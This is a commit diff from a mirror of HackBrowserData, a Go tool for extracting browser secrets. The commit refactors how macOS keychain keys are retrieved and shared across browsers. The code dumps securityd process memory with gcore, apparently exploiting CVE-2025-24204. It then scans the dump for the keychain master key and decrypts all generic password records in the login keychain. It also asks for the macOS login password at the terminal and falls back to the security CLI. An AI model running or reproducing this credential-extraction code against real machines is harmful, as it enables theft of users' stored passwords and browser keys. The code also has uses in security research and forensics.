mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
fix: share key retriever across all browsers to avoid repeated prompts (#560)
* fix: share key retriever across all browsers to avoid repeated password prompts
This commit is contained in:
@@ -66,17 +66,17 @@ type addressRange struct {
|
||||
end uint64
|
||||
}
|
||||
|
||||
// DecryptKeychain extracts the browser storage password from login.keychain-db
|
||||
// DecryptKeychainRecords extracts all generic password records from login.keychain-db
|
||||
// by dumping securityd memory and scanning for the keychain master key.
|
||||
// Requires root privileges.
|
||||
func DecryptKeychain(storageName string) (string, error) {
|
||||
func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {
|
||||
if os.Geteuid() != 0 {
|
||||
return "", errors.New("requires root privileges")
|
||||
return nil, errors.New("requires root privileges")
|
||||
}
|
||||
|
||||
pid, err := findProcessByName("securityd", true)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to find securityd pid: %w", err)
|
||||
return nil, fmt.Errorf("failed to find securityd pid: %w", err)
|
||||
}
|
||||
|
||||
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
|
||||
@@ -86,27 +86,27 @@ func DecryptKeychain(storageName string) (string, error) {
|
||||
|
||||
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||
return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||
}
|
||||
|
||||
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
|
||||
regions, err := findMallocSmallRegions(pid)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||
return nil, fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||
}
|
||||
|
||||
candidates, err := scanMasterKeyCandidates(corePath, regions)
|
||||
if err != nil {
|
||||
return "", err
|
||||
return nil, fmt.Errorf("scan master key candidates: %w", err)
|
||||
}
|
||||
if len(candidates) == 0 {
|
||||
return "", fmt.Errorf("no master key candidates found in securityd memory")
|
||||
return nil, fmt.Errorf("no master key candidates found in securityd memory")
|
||||
}
|
||||
|
||||
// read keychain file once, reuse buffer for each candidate
|
||||
keychainBuf, err := os.ReadFile(loginKeychainPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read keychain: %w", err)
|
||||
return nil, fmt.Errorf("read keychain: %w", err)
|
||||
}
|
||||
|
||||
// try each candidate key against the keychain
|
||||
@@ -123,14 +123,12 @@ func DecryptKeychain(storageName string) (string, error) {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, rec := range records {
|
||||
if rec.Account == storageName {
|
||||
return string(rec.Password), nil
|
||||
}
|
||||
if len(records) > 0 {
|
||||
return records, nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("tried %d candidates, none matched storage %q", len(candidates), storageName)
|
||||
return nil, fmt.Errorf("tried %d candidates, none unlocked keychain", len(candidates))
|
||||
}
|
||||
|
||||
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
|
||||
|
||||
@@ -16,6 +16,8 @@ import (
|
||||
|
||||
"github.com/moond4rk/keychainbreaker"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
)
|
||||
|
||||
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||
@@ -31,30 +33,26 @@ const securityCmdTimeout = 30 * time.Second
|
||||
|
||||
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets
|
||||
// by dumping the securityd process memory. Requires root privileges.
|
||||
// The result is cached via sync.Once to avoid repeated memory dumps
|
||||
// when multiple profiles share the same retriever instance.
|
||||
// All keychain records are cached via sync.Once so the memory dump
|
||||
// happens only once, even when shared across multiple browsers.
|
||||
type GcoredumpRetriever struct {
|
||||
once sync.Once
|
||||
key []byte
|
||||
err error
|
||||
once sync.Once
|
||||
records []keychainbreaker.GenericPassword
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *GcoredumpRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
r.once.Do(func() {
|
||||
r.key, r.err = r.retrieveKeyOnce(storage)
|
||||
r.records, r.err = DecryptKeychainRecords()
|
||||
if r.err != nil {
|
||||
r.err = fmt.Errorf("gcoredump: %w", r.err)
|
||||
}
|
||||
})
|
||||
return r.key, r.err
|
||||
}
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
}
|
||||
|
||||
func (r *GcoredumpRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
||||
secret, err := DecryptKeychain(storage)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("gcoredump: %w", err)
|
||||
}
|
||||
if secret == "" {
|
||||
return nil, fmt.Errorf("gcoredump: empty secret for %s", storage)
|
||||
}
|
||||
return darwinParams.deriveKey([]byte(secret)), nil
|
||||
return findStorageKey(r.records, storage)
|
||||
}
|
||||
|
||||
// loadKeychainRecords opens login.keychain-db and unlocks it with the given
|
||||
@@ -119,11 +117,11 @@ type TerminalPasswordRetriever struct {
|
||||
|
||||
func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
if !term.IsTerminal(int(os.Stdin.Fd())) {
|
||||
return nil, nil
|
||||
return nil, fmt.Errorf("terminal: stdin is not a TTY")
|
||||
}
|
||||
|
||||
r.once.Do(func() {
|
||||
fmt.Fprintf(os.Stderr, "Enter macOS login password for %s: ", storage)
|
||||
fmt.Fprint(os.Stderr, "Enter macOS login password: ")
|
||||
pwd, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Fprintln(os.Stderr)
|
||||
if err != nil {
|
||||
@@ -131,6 +129,10 @@ func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, erro
|
||||
return
|
||||
}
|
||||
r.records, r.err = loadKeychainRecords(string(pwd))
|
||||
if r.err != nil {
|
||||
log.Warnf("keychain unlock failed with provided password")
|
||||
log.Debugf("keychain unlock detail: %v", r.err)
|
||||
}
|
||||
})
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
@@ -140,20 +142,29 @@ func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, erro
|
||||
}
|
||||
|
||||
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain.
|
||||
// This may trigger a password dialog on macOS. The result is cached
|
||||
// via sync.Once so that multiple profiles sharing the same retriever
|
||||
// instance only prompt the user once.
|
||||
// This may trigger a password dialog on macOS. Results are cached
|
||||
// per storage name so each browser's key is fetched only once.
|
||||
type SecurityCmdRetriever struct {
|
||||
once sync.Once
|
||||
key []byte
|
||||
err error
|
||||
mu sync.Mutex
|
||||
cache map[string]securityResult
|
||||
}
|
||||
|
||||
type securityResult struct {
|
||||
key []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *SecurityCmdRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
r.once.Do(func() {
|
||||
r.key, r.err = r.retrieveKeyOnce(storage)
|
||||
})
|
||||
return r.key, r.err
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if res, ok := r.cache[storage]; ok {
|
||||
return res.key, res.err
|
||||
}
|
||||
|
||||
key, err := r.retrieveKeyOnce(storage)
|
||||
r.cache[storage] = securityResult{key: key, err: err}
|
||||
return key, err
|
||||
}
|
||||
|
||||
func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
||||
@@ -198,7 +209,7 @@ func DefaultRetriever(keychainPassword string) KeyRetriever {
|
||||
}
|
||||
retrievers = append(retrievers,
|
||||
&TerminalPasswordRetriever{},
|
||||
&SecurityCmdRetriever{},
|
||||
&SecurityCmdRetriever{cache: make(map[string]securityResult)},
|
||||
)
|
||||
return NewChain(retrievers...)
|
||||
}
|
||||
|
||||
@@ -42,9 +42,10 @@ func TestKeychainPasswordRetriever_EmptyPassword(t *testing.T) {
|
||||
|
||||
func TestTerminalPasswordRetriever_NonTTY(t *testing.T) {
|
||||
// In CI/test environments, stdin is not a TTY.
|
||||
// The retriever should silently return nil, nil to let the chain continue.
|
||||
// The retriever should return an error so the chain can log it and continue.
|
||||
r := &TerminalPasswordRetriever{}
|
||||
key, err := r.RetrieveKey("Chrome", "")
|
||||
require.NoError(t, err)
|
||||
require.Error(t, err)
|
||||
assert.Contains(t, err.Error(), "stdin is not a TTY")
|
||||
assert.Nil(t, key)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user